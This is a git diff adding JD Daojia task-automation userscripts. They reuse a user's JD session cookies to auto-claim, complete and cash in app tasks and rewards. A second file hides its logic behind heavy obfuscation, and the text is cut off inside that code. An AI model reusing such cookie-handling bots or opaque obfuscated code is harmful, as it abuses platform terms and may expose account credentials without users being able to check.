'&functionId=task%2Flist&isNeedDealError=true&body=%7B%22modelId%22%3A%22M10001%22%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ''); + + $.http.get(option).then(response => { + var data = JSON.parse(response.body); + //console.log(response.body); + resolve(data); + }) + + } catch (error) { + console.log('\n【任务列表】:' + error); + resolve({}); + } + + }) +} + + +async function runTask(tslist) { + return new Promise(async resolve => { + try { + for (let index = 0; index < tslist.result.taskInfoList.length; index++) { + const item = tslist.result.taskInfoList[index]; + + //领取任务 + let option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Freceived&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取任务【' + item.taskName + '】:' + msg); + }) + + if (item.browseTime > -1) { + for (let t = 0; t < parseInt(item.browseTime); t++) { + await $.wait(1000); + console.log('计时:' + (t + 1) + '秒...'); + } + } + + //结束任务 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2Ffinished&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '', ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n任务完成【' + item.taskName + '】:' + msg); + }) + + //领取奖励 + option = urlTask('https://daojia.jd.com/client?_jdrandom=' + Math.round(new Date()) + '&functionId=task%2FsendPrize&isNeedDealError=true&body=%7B%22modelId%22%3A%22' + item.modelId + '%22%2C%22taskId%22%3A%22' + encodeURIComponent(item.taskId) + '%22%2C%22taskType%22%3A' + item.taskType + '%2C%22plateCode%22%3A1%7D&channel=ios&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&traceId=' + deviceid + Math.round(new Date()) + '&deviceToken=' + deviceid + '&deviceId=' + deviceid, ``); + await $.http.get(option).then(response => { + var data = JSON.parse(response.body), msg = ''; + if (data.code == 0) { + msg = data.msg + ',奖励:' + data.result.awardValue; + } else { + msg = data.msg; + } + console.log('\n领取奖励【' + item.taskName + '】:' + msg); + }) + + } + resolve(); + } catch (error) { + console.log('\n【执行任务】:' + error); + resolve(); + } + + }) +} + +function urlTask(url, body) { + let option = { + url: url, + headers: { + 'Host': 'daojia.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded;', + 'Origin': 'https://daojia.jd.com', + 'Cookie': thiscookie, + 'Connection': 'keep-alive', + 'Accept': '*/*', + 'User-Agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148________appName=jdLocal&platform=iOS&commonParams={"sharePackageVersion":"2"}&djAppVersion=8.7.5&supportDJSHWK', + 'Accept-Language': 'zh-cn' + }, + body: body + }; + return option; +} + +//根据京东ck获取到家ck +async function taskLoginUrl(thiscookie) { + return new Promise(async resolve => { + try { + if (thiscookie.indexOf('deviceid_pdj_jd') > -1) { + let arr = thiscookie.split(';'); + for (const o of arr) { + if (o.indexOf('deviceid_pdj_jd') > -1) { + deviceid = o.split('=')[1]; + } + } + resolve(thiscookie); + } + else { + deviceid = _uuid(); + let option = { + url: encodeURI('https://daojia.jd.com/client?_jdrandom=' + (+new Date()) + '&_funid_=login/treasure&functionId=login/treasure&body={}&lat=&lng=&lat_pos=&lng_pos=&city_id=&channel=h5&platform=6.6.0&platCode=h5&appVersion=6.6.0&appName=paidaojia&deviceModel=appmodel&isNeedDealError=false&traceId=' + deviceid + '&deviceToken=' + deviceid + '&deviceId=' + deviceid + '&_jdrandom=' + (+new Date()) + '&_funid_=login/treasure'), + headers: { + "Cookie": 'deviceid_pdj_jd=' + deviceid + ';' + thiscookie + ';', + "Host": "daojia.jd.com", + 'Content-Type': 'application/x-www-form-urlencoded;', + "User-Agent": 'jdapp;iPhone;10.0.10;14.1;' + deviceid + ';network/wifi;model/iPhone11,6;appBuild/167764;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1' + } + }; + let ckstr = ''; + await $.http.get(option).then(async response => { + //console.log(response); + let body = JSON.parse(response.body); + if (body.code == 0) { + for (const key in response.headers) { + if (key.toLowerCase().indexOf('cookie') > -1) { + ckstr = response.headers[key].toString(); + } + } + ckstr += ';deviceid_pdj_jd=' + deviceid; + } + else { + console.log(body.msg); + } + }); + resolve(ckstr); + } + + } catch (error) { + console.log(error); + resolve(''); + } + }) +} + +function _uuid() { + function s4() { + return Math.floor((1 + Math.random()) * 0x10000).toString(16).substring(1); + } + return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); +} + +/*********************************** API *************************************/ +function ENV() { const e = "undefined" != typeof $task, t = "undefined" != typeof $loon, s = "undefined" != typeof $httpClient && !t, i = "function" == typeof require && "undefined" != typeof $jsbox; return { isQX: e, isLoon: t, isSurge: s, isNode: "function" == typeof require && !i, isJSBox: i, isRequest: "undefined" != typeof $request, isScriptable: "undefined" != typeof importModule } } function HTTP(e = { baseURL: "" }) { const { isQX: t, isLoon: s, isSurge: i, isScriptable: n, isNode: o } = ENV(), r = /https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_\+.~#?&\/\/=]*)/; const u = {}; return ["GET", "POST", "PUT", "DELETE", "HEAD", "OPTIONS", "PATCH"].forEach(l => u[l.toLowerCase()] = (u => (function (u, l) { l = "string" == typeof l ? { url: l } : l; const h = e.baseURL; h && !r.test(l.url || "") && (l.url = h ? h + l.url : l.url); const a = (l = { ...e, ...l }).timeout, c = { onRequest: () => { }, onResponse: e => e, onTimeout: () => { }, ...l.events }; let f, d; if (c.onRequest(u, l), t) f = $task.fetch({ method: u, ...l }); else if (s || i || o) f = new Promise((e, t) => { (o ? require("request") : $httpClient)[u.toLowerCase()](l, (s, i, n) => { s ? t(s) : e({ statusCode: i.status || i.statusCode, headers: i.headers, body: n }) }) }); else if (n) { const e = new Request(l.url); e.method = u, e.headers = l.headers, e.body = l.body, f = new Promise((t, s) => { e.loadString().then(s => { t({ statusCode: e.response.statusCode, headers: e.response.headers, body: s }) }).catch(e => s(e)) }) } const p = a ? new Promise((e, t) => { d = setTimeout(() => (c.onTimeout(), t(`${u} URL: ${l.url} exceeds the timeout ${a} ms`)), a) }) : null; return (p ? Promise.race([p, f]).then(e => (clearTimeout(d), e)) : f).then(e => c.onResponse(e)) })(l, u))), u } function API(e = "untitled", t = !1) { const { isQX: s, isLoon: i, isSurge: n, isNode: o, isJSBox: r, isScriptable: u } = ENV(); return new class { constructor(e, t) { this.name = e, this.debug = t, this.http = HTTP(), this.env = ENV(), this.node = (() => { if (o) { return { fs: require("fs") } } return null })(), this.initCache(); Promise.prototype.delay = function (e) { return this.then(function (t) { return ((e, t) => new Promise(function (s) { setTimeout(s.bind(null, t), e) }))(e, t) }) } } initCache() { if (s && (this.cache = JSON.parse($prefs.valueForKey(this.name) || "{}")), (i || n) && (this.cache = JSON.parse($persistentStore.read(this.name) || "{}")), o) { let e = "root.json"; this.node.fs.existsSync(e) || this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.root = {}, e = `${this.name}.json`, this.node.fs.existsSync(e) ? this.cache = JSON.parse(this.node.fs.readFileSync(`${this.name}.json`)) : (this.node.fs.writeFileSync(e, JSON.stringify({}), { flag: "wx" }, e => console.log(e)), this.cache = {}) } } persistCache() { const e = JSON.stringify(this.cache, null, 2); s && $prefs.setValueForKey(e, this.name), (i || n) && $persistentStore.write(e, this.name), o && (this.node.fs.writeFileSync(`${this.name}.json`, e, { flag: "w" }, e => console.log(e)), this.node.fs.writeFileSync("root.json", JSON.stringify(this.root, null, 2), { flag: "w" }, e => console.log(e))) } write(e, t) { if (this.log(`SET ${t}`), -1 !== t.indexOf("#")) { if (t = t.substr(1), n || i) return $persistentStore.write(e, t); if (s) return $prefs.setValueForKey(e, t); o && (this.root[t] = e) } else this.cache[t] = e; this.persistCache() } read(e) { return this.log(`READ ${e}`), -1 === e.indexOf("#") ? this.cache[e] : (e = e.substr(1), n || i ? $persistentStore.read(e) : s ? $prefs.valueForKey(e) : o ? this.root[e] : void 0) } delete(e) { if (this.log(`DELETE ${e}`), -1 !== e.indexOf("#")) { if (e = e.substr(1), n || i) return $persistentStore.write(null, e); if (s) return $prefs.removeValueForKey(e); o && delete this.root[e] } else delete this.cache[e]; this.persistCache() } notify(e, t = "", l = "", h = {}) { const a = h["open-url"], c = h["media-url"]; if (s && $notify(e, t, l, h), n && $notification.post(e, t, l + `${c ? "\n多媒体:" + c : ""}`, { url: a }), i) { let s = {}; a && (s.openUrl = a), c && (s.mediaUrl = c), "{}" === JSON.stringify(s) ? $notification.post(e, t, l) : $notification.post(e, t, l, s) } if (o || u) { const s = l + (a ? `\n点击跳转: ${a}` : "") + (c ? `\n多媒体: ${c}` : ""); if (r) { require("push").schedule({ title: e, body: (t ? t + "\n" : "") + s }) } else console.log(`${e}\n${t}\n${s}\n\n`) } } log(e) { this.debug && console.log(`[${this.name}] LOG: ${this.stringify(e)}`) } info(e) { console.log(`[${this.name}] INFO: ${this.stringify(e)}`) } error(e) { console.log(`[${this.name}] ERROR: ${this.stringify(e)}`) } wait(e) { return new Promise(t => setTimeout(t, e)) } done(e = {}) { console.log('done!'); s || i || n ? $done(e) : o && !r && "undefined" != typeof $context && ($context.headers = e.headers, $context.statusCode = e.statusCode, $context.body = e.body) } stringify(e) { if ("string" == typeof e || e instanceof String) return e; try { return JSON.stringify(e, null, 2) } catch (e) { return "[object Object]" } } }(e, t) } +/*****************************************************************************/ diff --git a/jddj_bean.json b/jddj_bean.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/jddj_bean.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/jddj_fruit.js b/jddj_fruit.js new file mode 100644 index 0000000..db2e4ed --- /dev/null +++ b/jddj_fruit.js @@ -0,0 +1,27 @@ +/* +v6.3 +京东到家果园任务脚本,支持qx,loon,shadowrocket,surge,nodejs +兼容京东jdCookie.js +手机设备在boxjs里填写cookie +boxjs订阅地址:https://gitee.com/passerby-b/javascript/raw/master/JD/passerby-b.boxjs.json + +[task_local] +10 0,3,8,11,17 * * * https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js + +[Script] +cron "10 0,3,8,11,17 * * *" script-path=https://raw.githubusercontent.com/passerby-b/JDDJ/main/jddj_fruit.js,tag=京东到家果园任务 + +*/ + +let isNotify = true;//是否通知,仅限nodejs +let ckPath = './jdCookie.js';//ck路径,环境变量:JDDJ_CKPATH + +function _0x43f741(_0x2c5e7b,_0x4f2c12,_0x1ee522,_0x545e76,_0x47e930){return _0x4699(_0x2c5e7b- -0x9,_0x1ee522);}(function(_0x42a832,_0x4381a5){function _0x57e53c(_0x52d1bd,_0x5e4bc9,_0x62315f,_0x30a150,_0x4324d5){return _0x4699(_0x62315f-0x271,_0x4324d5);}function _0x257f5f(_0x3ae1df,_0x5adab7,_0x4a107d,_0x34d8c5,_0x416ca2){return _0x4699(_0x34d8c5-0x291,_0x416ca2);}const _0x499704=_0x42a832();function _0x2dc33a(_0x6b2b84,_0x52ec37,_0x46bca5,_0x27e2d4,_0x4c46da){return _0x4699(_0x4c46da-0x17b,_0x27e2d4);}function _0x40fe8e(_0x3af446,_0x30249d,_0x5f992,_0x43a2e0,_0x2b3bc4){return _0x4699(_0x2b3bc4- -0x10,_0x30249d);}function _0x26a6d2(_0x48e65b,_0x307d98,_0x11aaa8,_0xe950cb,_0x130ef4){return _0x4699(_0x307d98- -0x1ac,_0xe950cb);}while(!![]){try{const _0xd84d49=-parseInt(_0x257f5f(0x9a4,0xfb5,0xfbe,0x1129,'\x47\x38\x4e\x52'))/(-0x3*0xab6+-0x160+0x2183)+parseInt(_0x57e53c(0xd9e,0x158f,0xfa9,0xb25,'\x62\x77\x6a\x54'))/(-0x2*0x89e+-0x2b*-0x29+-0xb*-0xf1)+parseInt(_0x2dc33a(0x97a,0x83e,0xa2c,'\x6b\x59\x6b\x44',0xa98))/(-0x2b0*0xd+0x1501*0x1+0xdf2)+-parseInt(_0x57e53c(0x19a7,0x1760,0x14e6,0x1964,'\x42\x23\x5e\x5b'))/(0x4a3*0x5+-0xe92+0x1f*-0x47)+parseInt(_0x40fe8e(-0x193,'\x57\x73\x5d\x21',-0x2cc,0x908,0x4d1))/(-0xea5+0x3*-0x1f7+0x148f*0x1)*(parseInt(_0x57e53c(0x950,0x14a7,0xcee,0x39c,'\x6b\x5e\x4e\x4d'))/(0x170+0x1f5a+-0x24*0xe9))+parseInt(_0x26a6d2(0x849,0xf6b,0x8a6,'\x6b\x5e\x4e\x4d',0xaae))/(-0x8c5*-0x2+0x1dd7*-0x1+-0x41c*-0x3)*(parseInt(_0x2dc33a(0x50b,0xa25,0xf38,'\x24\x6e\x5d\x79',0xa15))/(0x61*-0x1+0x9*0x17+0x33*-0x2))+-parseInt(_0x40fe8e(-0x689,'\x5a\x30\x31\x38',0x62d,0xfd,0x2d2))/(-0x1ae7+0x188c+0x264)*(parseInt(_0x2dc33a(0x14e8,0x9f3,0x849,'\x24\x6e\x5d\x79',0xebd))/(0x1*0x8cf+-0x2b9+-0xac*0x9));if(_0xd84d49===_0x4381a5)break;else _0x499704['push'](_0x499704['shift']());}catch(_0x239553){_0x499704['push'](_0x499704['shift']());}}}(_0x10a8,-0x27*-0xc45+0x7*-0xa511+0x85991));const _0x3bfb29=(function(){function _0x4838a3(_0x3a1681,_0x2080d3,_0x5460e3,_0x1042d5,_0x124dc4){return _0x4699(_0x3a1681- -0x276,_0x124dc4);}function _0x1b06ee(_0x43031b,_0xa9c4d2,_0x21cd60,_0x21c5b9,_0x4644fe){return _0x4699(_0xa9c4d2-0x70,_0x4644fe);}function _0x483ecc(_0x26bf35,_0x1f5bf9,_0x1fdb0f,_0x121c29,_0x3d288e){return _0x4699(_0x3d288e- -0x37e,_0x1f5bf9);}function _0x380821(_0x398a98,_0x294714,_0x548d2b,_0xed822e,_0x1d41be){return _0x4699(_0x1d41be-0x9e,_0xed822e);}const _0x518448={'\x43\x78\x6b\x72\x41':_0x376fe4(0x104a,0x1586,0x17e1,0x18d8,'\x46\x6f\x5e\x6c')+_0x376fe4(0xf33,0x111e,0xc19,0x642,'\x53\x41\x31\x35')+_0x1b06ee(0x2c7,0x533,0x7af,-0x38c,'\x78\x56\x67\x4f')+_0x483ecc(0x398,'\x42\x23\x5e\x5b',-0x288,-0x230,0x13f)+_0x4838a3(0x34f,0x2f4,-0x54c,-0x3c4,'\x53\x34\x6c\x29'),'\x7a\x73\x67\x48\x72':function(_0x2f2a0d,_0x22c89b){return _0x2f2a0d+_0x22c89b;},'\x67\x57\x6f\x69\x4b':_0x483ecc(-0x4ff,'\x77\x40\x43\x59',0x135,0x370,-0x11b),'\x45\x74\x4b\x57\x4f':function(_0x508925,_0x38a6be){return _0x508925===_0x38a6be;},'\x6c\x67\x7a\x6c\x59':_0x483ecc(0xd86,'\x36\x6c\x21\x41',0x74f,0x86c,0x8be),'\x67\x6e\x66\x64\x6b':function(_0x4e4c97,_0x207ec1){return _0x4e4c97===_0x207ec1;},'\x55\x4b\x74\x66\x4f':_0x376fe4(0x1620,0x1f0a,0x15e7,0x1853,'\x4f\x4f\x25\x29'),'\x64\x5a\x7a\x41\x57':_0x1b06ee(0x143b,0x1021,0x10de,0xa7d,'\x5d\x78\x21\x39'),'\x4f\x73\x59\x53\x41':_0x4838a3(0x1185,0xba9,0x17ab,0xd5b,'\x32\x49\x5b\x49')};function _0x376fe4(_0x42e9e9,_0x28c6ad,_0x2f09b0,_0x1ea28c,_0x36598a){return _0x4699(_0x42e9e9-0x39c,_0x36598a);}let _0x59f41c=!![];return function(_0x2b89d6,_0x332be3){function _0x5df1a0(_0x4c7477,_0x349ffb,_0x2d61b8,_0x3d75e1,_0x43a985){return _0x4838a3(_0x349ffb-0x2d6,_0x349ffb-0x12e,_0x2d61b8-0x1a3,_0x3d75e1-0x1e,_0x2d61b8);}function _0x257666(_0x4b5c07,_0x559923,_0x1aaa32,_0x4cfd28,_0x425085){return _0x380821(_0x4b5c07-0xbb,_0x559923-0x16f,_0x1aaa32-0x1e1,_0x425085,_0x1aaa32-0x200);}function _0x274524(_0x5b057a,_0x30a06e,_0x531dd6,_0x20966e,_0x149da7){return _0x483ecc(_0x5b057a-0x177,_0x149da7,_0x531dd6-0xab,_0x20966e-0x166,_0x5b057a-0x57f);}const _0x40bb73={'\x68\x4e\x51\x79\x62':_0x518448[_0x1d87ac(-0x55c,0x51a,-0x497,'\x33\x2a\x64\x68',0xf4)],'\x46\x76\x72\x61\x50':function(_0x33854b,_0x533a6d){function _0x418a9d(_0x400b31,_0x5da8f1,_0x26fb82,_0x57a6fb,_0x27ee8c){return _0x1d87ac(_0x400b31-0xe7,_0x5da8f1-0x9a,_0x26fb82-0x1ad,_0x26fb82,_0x5da8f1-0x653);}return _0x518448[_0x418a9d(0x12bf,0x108a,'\x77\x40\x43\x59',0xad3,0x1360)](_0x33854b,_0x533a6d);},'\x47\x56\x63\x49\x57':_0x518448[_0x1d87ac(0x9d7,0x110d,0x436,'\x36\x57\x6b\x69',0x832)],'\x74\x43\x58\x4b\x6b':function(_0x12fa99,_0x318524){function _0x331f7d(_0x4d68ea,_0x3c89c1,_0x121de8,_0x16f04d,_0x2fae97){return _0x1d87ac(_0x4d68ea-0x10a,_0x3c89c1-0x1a6,_0x121de8-0xb9,_0x121de8,_0x2fae97-0x525);}return _0x518448[_0x331f7d(0x966,0x4c,'\x29\x52\x4b\x66',0x106,0x484)](_0x12fa99,_0x318524);},'\x45\x6e\x66\x56\x54':_0x518448[_0x1d87ac(0xbb3,0x3d6,0x26a,'\x52\x59\x64\x49',0xb44)],'\x53\x48\x58\x77\x4a':function(_0x44a4f0,_0x459094){function _0x4d66e9(_0x4c1c0b,_0x22aff6,_0x4f4165,_0x58a995,_0x294b89){return _0x274524(_0x58a995- -0x2a0,_0x22aff6-0x154,_0x4f4165-0x1a9,_0x58a995-0x1ea,_0x22aff6);}return _0x518448[_0x4d66e9(0x9cf,'\x78\x56\x67\x4f',0x95a,0x1017,0x138d)](_0x44a4f0,_0x459094);},'\x52\x64\x45\x4b\x73':_0x518448[_0x257666(0x1080,0x76a,0xe37,0x6b4,'\x52\x7a\x58\x2a')]};function _0xc969ce(_0x2ae7ac,_0x481688,_0x329c62,_0x2295d3,_0x28a0ed){return _0x483ecc(_0x2ae7ac-0x1a3,_0x28a0ed,_0x329c62-0x16d,_0x2295d3-0x12c,_0x481688-0x67f);}function _0x1d87ac(_0x1e227f,_0x30a701,_0x4e8b2f,_0x38fb93,_0x29ad93){return _0x483ecc(_0x1e227f-0x105,_0x38fb93,_0x4e8b2f-0x175,_0x38fb93-0xe7,_0x29ad93-0x1a);}if(_0x518448[_0x1d87ac(0xec2,0xe28,0x417,'\x29\x52\x4b\x66',0xbe8)](_0x518448[_0xc969ce(0x72a,0xaa1,0xf59,0xfc6,'\x6b\x59\x6b\x44')],_0x518448[_0x5df1a0(0xfaa,0xb79,'\x4f\x40\x44\x71',0xafa,0x4fd)]))_0x1f7734=_0x52713e[_0x5df1a0(0x1676,0xdfa,'\x35\x37\x26\x25',0x9c0,0x1556)];else{const _0x294e8a=_0x59f41c?function(){function _0x9c3b50(_0x13e58e,_0x1347a7,_0x136469,_0x1e3e64,_0x35410e){return _0xc969ce(_0x13e58e-0x10,_0x1347a7- -0x676,_0x136469-0xf0,_0x1e3e64-0xb4,_0x13e58e);}function _0x3f1ad7(_0x4cd4b0,_0x96c87d,_0x1bb410,_0x1b6d33,_0x5860ac){return _0x257666(_0x4cd4b0-0xe4,_0x96c87d-0x42,_0x4cd4b0- -0x3c4,_0x1b6d33-0x189,_0x5860ac);}function _0x57da6f(_0x202fd8,_0x12086c,_0x4ef984,_0x51e226,_0x187b77){return _0x257666(_0x202fd8-0x145,_0x12086c-0x139,_0x202fd8- -0xe7,_0x51e226-0x1ee,_0x12086c);}function _0x37d72a(_0x103cdb,_0x5a3d35,_0xf2ac17,_0x4bfd05,_0x27a349){return _0x274524(_0x103cdb- -0x467,_0x5a3d35-0x38,_0xf2ac17-0x17d,_0x4bfd05-0xd5,_0x4bfd05);}function _0x2c5285(_0x47f9e1,_0x1d2d8a,_0x508a42,_0x91aab6,_0x4c1ca8){return _0x5df1a0(_0x47f9e1-0x120,_0x4c1ca8- -0x6a,_0x91aab6,_0x91aab6-0x106,_0x4c1ca8-0xfa);}if(_0x40bb73[_0x3f1ad7(0xd4,-0x10a,-0x6dc,-0xcf,'\x6e\x70\x4f\x48')](_0x40bb73[_0x3f1ad7(0x94f,0x42c,0x52,0x450,'\x5d\x5d\x4d\x42')],_0x40bb73[_0x9c3b50('\x4f\x40\x44\x71',-0x17,0x76e,-0x84d,-0x190)])){if(_0x332be3){if(_0x40bb73[_0x3f1ad7(0xe80,0x1556,0x16bd,0xf68,'\x6d\x5e\x6e\x43')](_0x40bb73[_0x57da6f(0xffe,'\x53\x28\x21\x51',0xb4c,0x11f8,0x1175)],_0x40bb73[_0x9c3b50('\x24\x6e\x5d\x79',-0x89,0x7e8,0x5b0,0x545)])){const _0x29c5b3=_0x332be3[_0x2c5285(0x1085,0x133c,0x757,'\x53\x28\x21\x51',0xaf0)](_0x2b89d6,arguments);return _0x332be3=null,_0x29c5b3;}else _0x307061[_0x37d72a(0xe6a,0x16a5,0xa6d,'\x78\x56\x67\x4f',0xd3a)](_0x40bb73[_0x37d72a(0x37c,0x7a7,0x8c6,'\x47\x28\x51\x45',0x7c8)]);}}else _0x279655=_0x40bb73[_0x37d72a(0x128,0x637,0x46a,'\x5a\x30\x31\x38',0x9)](_0x40bb73[_0x37d72a(0x878,0x626,0xe5f,'\x77\x40\x43\x59',0x101c)](_0x3dcb1f[_0x9c3b50('\x4f\x40\x44\x71',0xec2,0x92e,0x121f,0x5eb)],_0x40bb73[_0x37d72a(0x5af,0x284,0x8ca,'\x76\x25\x48\x64',-0x2bd)]),_0x20f05a[_0x9c3b50('\x32\x49\x5b\x49',0xdbf,0xb94,0xcfc,0x1195)+'\x74'][_0x3f1ad7(0x53b,0x7f3,0x538,0x83f,'\x53\x28\x21\x51')+_0x57da6f(0x12a3,'\x5d\x5d\x4d\x42',0x1ac2,0xbe3,0xa60)]);}:function(){};return _0x59f41c=![],_0x294e8a;}};}()),_0x12808f=_0x3bfb29(this,function(){function _0x6eac41(_0x16d777,_0x34c040,_0x2485e1,_0x5d8a16,_0x210713){return _0x4699(_0x210713-0x30,_0x5d8a16);}const _0x537454={'\x54\x62\x68\x6b\x76':_0x3de6b8(0x1006,0x1097,0x13e4,0xe46,'\x35\x37\x26\x25')+_0x3de6b8(0x1203,0xf42,0xc75,0x1b3b,'\x63\x66\x74\x31')+'\x2b\x24'};function _0xef9e46(_0x5b907a,_0x985981,_0x3d7fa1,_0x4909c8,_0x3b77c7){return _0x4699(_0x4909c8- -0x236,_0x985981);}function _0x40a5e4(_0x5cc4e4,_0x1afb9c,_0x555235,_0x345ba9,_0x137988){return _0x4699(_0x1afb9c-0x3d9,_0x345ba9);}function _0x55c8b2(_0x2757e1,_0x5ebfdc,_0x4046ea,_0x4ac329,_0x3ec4ff){return _0x4699(_0x3ec4ff-0x2b2,_0x2757e1);}function _0x3de6b8(_0x1b1675,_0x1d6bb4,_0x62eb87,_0x362abc,_0x28d4a4){return _0x4699(_0x1b1675-0x2f6,_0x28d4a4);}return _0x12808f[_0xef9e46(0x4b6,'\x50\x21\x6c\x48',0x77b,0xd02,0xf4d)+_0xef9e46(-0x14c,'\x5d\x78\x21\x39',0x425,0x451,0x757)]()[_0xef9e46(0xf77,'\x53\x41\x31\x35',0xdb9,0x824,-0x63)+'\x68'](_0x537454[_0x6eac41(0x934,0x847,0x1014,'\x5a\x30\x31\x38',0xffd)])[_0x55c8b2('\x4f\x4f\x25\x29',0x850,0xcfb,-0x132,0x627)+_0x3de6b8(0xe2e,0x86e,0xf0b,0x608,'\x53\x34\x6c\x29')]()[_0x40a5e4(0x1756,0x12f2,0x1c3f,'\x42\x23\x5e\x5b',0xf20)+_0x3de6b8(0x1590,0x1928,0x108a,0xfce,'\x50\x21\x6c\x48')+'\x72'](_0x12808f)[_0x6eac41(0x1a5a,0x167f,0x163d,'\x76\x78\x62\x62',0x1233)+'\x68'](_0x537454[_0x55c8b2('\x6d\x5e\x6e\x43',0x115a,0x12ad,0x1232,0xb2e)]);});function _0x4699(_0x5049a7,_0x406c74){const _0xed7680=_0x10a8();return _0x4699=function(_0x46c23d,_0x2dae12){_0x46c23d=_0x46c23d-(0x227c+-0x1770+-0x63*0x18);let _0x36d332=_0xed7680[_0x46c23d];if(_0x4699['\x5a\x61\x66\x45\x6e\x55']===undefined){var _0x593cd5=function(_0x198d8e){const _0x246030='\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x2b\x2f\x3d';let _0x3b03ba='',_0x5d638d='',_0x2f2d0b=_0x3b03ba+_0x593cd5;for(let _0x5cb876=0x12c5*0x1+-0x1e2*0x13+0x1101,_0x33d276,_0x46efb0,_0x2430b2=0x1fd0+-0xd5*-0x29+-0x41ed;_0x46efb0=_0x198d8e['\x63\x68\x61\x72\x41\x74'](_0x2430b2++);~_0x46efb0&&(_0x33d276=_0x5cb876%(-0x20e9+0xff3+0x29*0x6a)?_0x33d276*(-0xba0+-0x1*0x8c5+0x14a5)+_0x46efb0:_0x46efb0,_0x5cb876++%(0x190f*-0x1+0x239*0x5+0xdf6))?_0x3b03ba+=_0x2f2d0b['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x2430b2+(-0x268e+-0x24b8+0x4b50))-(-0x1*-0xc7f+-0x1d2b+0x8a*0x1f)!==-0x17ab+0x21bb+0xa1*-0x10?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](0x1*-0x158d+0x2673+-0xfe7&_0x33d276>>(-(0x1a95*0x1+0x3a*-0x5+0x1f5*-0xd)*_0x5cb876&0x1511+-0x3c+0x14cf*-0x1)):_0x5cb876:-0xc9a+0x1*0xc6e+0x1*0x2c){_0x46efb0=_0x246030['\x69\x6e\x64\x65\x78\x4f\x66'](_0x46efb0);}for(let _0x49d621=-0x2*0xb5a+0x781+0xf33*0x1,_0x617dbb=_0x3b03ba['\x6c\x65\x6e\x67\x74\x68'];_0x49d621<_0x617dbb;_0x49d621++){_0x5d638d+='\x25'+('\x30\x30'+_0x3b03ba['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x49d621)['\x74\x6f\x53\x74\x72\x69\x6e\x67'](-0xc5*-0x26+0x20a7+-0x3dd5))['\x73\x6c\x69\x63\x65'](-(0xac7*0x3+0x19*-0x157+0xf*0x14));}return decodeURIComponent(_0x5d638d);};const _0x28449f=function(_0x1ccbb2,_0x52269f){let _0x152f79=[],_0x5cc7d9=0xf31+0x1bc7+-0x2af8,_0x489ca5,_0x596a48='';_0x1ccbb2=_0x593cd5(_0x1ccbb2);let _0x389b27;for(_0x389b27=0x24e9*-0x1+-0x1f17+0x4400;_0x389b27<-0x2123+0x2127+0x1c*0x9;_0x389b27++){_0x152f79[_0x389b27]=_0x389b27;}for(_0x389b27=0x1fb2+0x6b4+-0x1*0x2666;_0x389b27<-0x23c7+-0x1*-0x11c3+0x1304;_0x389b27++){_0x5cc7d9=(_0x5cc7d9+_0x152f79[_0x389b27]+_0x52269f['\x63\x68\x61\x72\x43\x6f\x64\x65\x41\x74'](_0x389b27%_0x52269f['\x6c\x65\x6e\x67\x74\x68']))%(0x16ee+0x1*-0xecb+-0x723),_0x489ca5=_0x152f79[_0x389b27],_0x152f79[_0x389b27]=_0x152f79[_0x5cc7d9],_0x152f79[_0x5cc7d9]=_0x489ca5;}_0x389b27=0x7eb+-0x4e1*-0x1+0x3f*-0x34,_0x5cc7d9=0x23de+-0xb*-0x2da+0x1a*-0x296;for(let 